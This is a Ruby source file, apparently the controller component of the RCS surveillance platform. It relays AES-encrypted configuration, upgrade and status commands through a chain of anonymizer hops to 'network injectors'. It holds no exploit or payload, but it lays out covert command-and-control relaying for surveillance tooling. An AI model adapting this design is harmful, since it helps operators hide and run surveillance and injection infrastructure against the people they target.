require 'base64' require 'rcs-common/trace' require 'rcs-common/crypt' module RCS module Controller STATUS_OK = 200 STATUS_SERVER_ERROR = 500 class ProtocolParser include RCS::Tracer include RCS::Crypt def initialize(method, uri, content, http) @http_method = method @http_uri = uri @http_content = content @http = http @injectors = DB.instance.injectors @anonymizers = DB.instance.collectors @chain = parse_chain(@anonymizers) end def act! case @http_method # command from Console (thru DB) when 'PUSH' status, content = protocol_push # command from network component when 'POST' status, content = protocol_post end return status, content end def protocol_push # commands sent from the db to be forwarded to the anons command = JSON.parse(@http_content) trace :debug, "Received command: #{command.inspect}" return protocol_send_command(command) rescue Exception => e trace :error, "Cannot push to anonymizer: #{e.message}" trace :debug, e.backtrace.join("\n") return STATUS_SERVER_ERROR, e.message end def protocol_post # receive, check and decrypt a command commands = protocol_decrypt(@http[:cookie], @http_content) # parse the command status, response = protocol_execute_commands(commands) # encrypt the command response = protocol_encrypt(@http[:cookie], response) return status, response rescue Exception => e trace :error, "Invalid received message: #{e.message}" trace :fatal, e.backtrace.join("\n") return STATUS_SERVER_ERROR, e.message end def protocol_decrypt(cookie, blob) # check that the cookie is valid and belongs to an anon element_from_cookie(cookie) trace :debug, "Network Element '#{@element['name']}' is sending a command..." # decrypt the blob blob = Base64.decode64(blob) command = aes_decrypt(blob, @element['key']) command = JSON.parse(command) # TODO: anti replay attack return command end def protocol_encrypt(cookie, command) # check that the cookie is valid and belongs to an anon element_from_cookie(cookie) trace :debug, "Sending command to Network Element '#{@element['name']}'..." command = command.to_json # encrypt the message blob = aes_encrypt(command, @element['key']) blob = Base64.strict_encode64(blob) return blob end def protocol_execute_commands(commands) trace :debug, "[#{@element['name']}] Received command is: #{commands.inspect}" # fallback to array if it's a single command commands = [commands] unless commands.is_a? Array response = [] # iterate over all the commands commands.each do |command| case command['command'] when 'STATUS' protocol_status(command, response) when 'LOG' protocol_log(command, response) when 'CONFIG_REQUEST' protocol_config(command, response) when 'UPGRADE_REQUEST' protocol_upgrade(command, response) end end return STATUS_OK, response rescue Exception => e trace :error, e.backtrace.join("\n") return STATUS_SERVER_ERROR, [{command: 'STATUS', result: {status: 'ERROR', msg: e.message}}] end def protocol_status(command, response) params = command['params'] status = params['status'] stats = params['stats'] msg = params['msg'] version = params['version'] # symbolize keys stats = stats.inject({}){|h,(k,v)| h.merge({ k.to_sym => v}) } # this element is an Anon, else is an Injector if @element['type'] name = 'RCS::ANON::' + @element['name'] address = @element['address'] DB.instance.update_status name, address, status, msg, stats, 'anonymizer', version DB.instance.update_collector_version(@element['_id'], version) else name = 'RCS::NI::' + @element['name'] # we don't have address for the NI, get it from the connection address = @http[:x_forwarded_for] DB.instance.update_status name, address, status, msg, stats, 'injector', version DB.instance.update_injector_version(@element['_id'], version) end trace :info, "[NC] [#{name}] #{address} #{status} #{msg}" response << {command: 'STATUS', result: {status: 'OK'}} end def protocol_log(command, response) params = command['params'] if @element['type'] DB.instance.collector_add_log(@element['_id'], params['time'], params['type'], params['desc']) else DB.instance.injector_add_log(@element['_id'], params['time'], params['type'], params['desc']) end response << {command: 'LOG', result: {status: 'OK'}} end def protocol_config(command, response) content = DB.instance.injector_config(@element['_id']) if content trace :info, "[NC] New configuration for RCS::NI::#{@element['name']} (#{content.length} bytes)" response << {command: 'CONFIG_REQUEST', result: {status: 'OK', msg: {type: 'rules', body: Base64.strict_encode64(content)}}} else trace :debug, "[NC] NO New configuration for RCS::NI::#{@element['name']}" response << {command: 'CONFIG_REQUEST', result: {status: 'ERROR', msg: "No new config"}} end end def protocol_upgrade(command, response) content = DB.instance.injector_upgrade(@element['_id']) if content trace :info, "[NC] New upgrade for RCS::NI::#{@element['name']} (#{content.length} bytes)" response << {command: 'UPGRADE_REQUEST', result: {status: 'OK', msg: {body: Base64.strict_encode64(content)}}} else trace :debug, "[NC] NO New upgrade for RCS::NI::#{@element['name']}" response << {command: 'UPGRADE_REQUEST', result: {status: 'ERROR', msg: "No upgrade available"}} end end def parse_chain(anonymizers) trace :debug, "Parsing the anon chains..." chain = [] # find the collector that represent the local instance (find us) @me = anonymizers.select {|x| x['instance'].eql? DB.instance.local_instance}.first # and put it in front of the chain chain << @me # fill the chain with the others next_anon = @me['next'].first until next_anon.eql? nil current = anonymizers.select {|x| x['_id'].eql? next_anon}.first break unless current chain << current next_anon = current['next'].first end trace :info, "Chain is: #{chain.collect {|x| x['name']}.inspect}" return chain end def protocol_send_command(command) # retrieve the receiver anon receiver = @anonymizers.select{|x| x['_id'].eql? command['anon']}.first raise "Cannot send to unknown anon [#{command['anon']}]" unless receiver # prepare the command for the receiver case command['command'] when 'config' msg = {command: 'CONFIG', params: {}, body: command['body']} trace :info, "Preparing CONFIG for '#{receiver['name']}' -- #{msg[:body].inspect}" when 'upgrade' msg = {command: 'UPGRADE', params: {}, body: command['body']} trace :info, "Preparing UPGRADE for '#{receiver['name']}' -- #{msg[:body].size} bytes" when 'check' msg = {command: 'CHECK', params: {}} trace :info, "Preparing CHECK for '#{receiver['name']}'" end # encrypt for the receiver msg = protocol_encrypt(receiver['cookie'], msg) # calculate the chain to reach the receiver chain = forwarding_chain(receiver) # encapsulate into FORWARD commands until the first anon (or collector) begin # check if the only one in the chain is a collector, then send break if chain.size.eql? 1 # encapsulate for the last anon forward = {command: 'FORWARD', params: {address: "#{receiver['address']}:#{receiver['port']}", cookie: 'ID=' + receiver['cookie']}, body: msg} #trace :debug, "Forward command: " + forward.inspect # get the current receiver receiver = chain.pop # and encrypt for it msg = protocol_encrypt(receiver['cookie'], forward) trace :debug, "Forwarding through: #{receiver['name']}" end until chain.empty? trace :info, "Sending complete command to: #{receiver['name']} (#{msg.size} bytes)" trace :debug, "Sending complete command to: #{receiver['address']}:#{receiver['port']}" resp = nil # send the command begin Timeout::timeout(300) do http = Net::HTTP.new(receiver['address'], receiver['port']) http.read_timeout = 300 #http.set_debug_output($stdout) resp = http.send_request('POST', '/', msg, {'Cookie' => 'ID=' + receiver['cookie']}) end rescue Exception => ex trace :error, "Cannot communicate with #{receiver['name']}: #{ex.message}" return STATUS_SERVER_ERROR, "Cannot communicate with #{receiver['name']}: #{ex.message}" end cookie = resp['Set-Cookie'] raise("Invalid cookie from anonimizer '#{receiver['name']}'") unless cookie # receive, check and decrypt a command reply = protocol_decrypt(cookie, resp.body) trace :info, "Received response from '#{@element['name']}': #{reply.inspect}" # special case for 'CHECK' request if reply['command'].eql? 'STATUS' protocol_execute_commands(reply) #generate a fake result from the status command reply['result'] = {'status' => reply['params']['status']} end result = reply['result'] status = result['status'] return STATUS_OK, status end def forwarding_chain(anon) # we need to have the chain of anon to traverse before sending to the recipient # if the anon is in the chain, use it until its position # otherwise use the full chain # #take_while will take care of all, if not found the chain is the full one return @chain.take_while {|x| not x['_id'].eql? anon['_id']} end def element_from_cookie(cookie) # search for anon first @element = @anonymizers.select { |x| x['cookie'].eql? cookie.split('=').last }.first # then search for injectors @element = @injectors.select { |x| x['cookie'].eql? cookie.split('=').last }.first unless @element # not found raise "Invalid cookie" unless @element end end end end .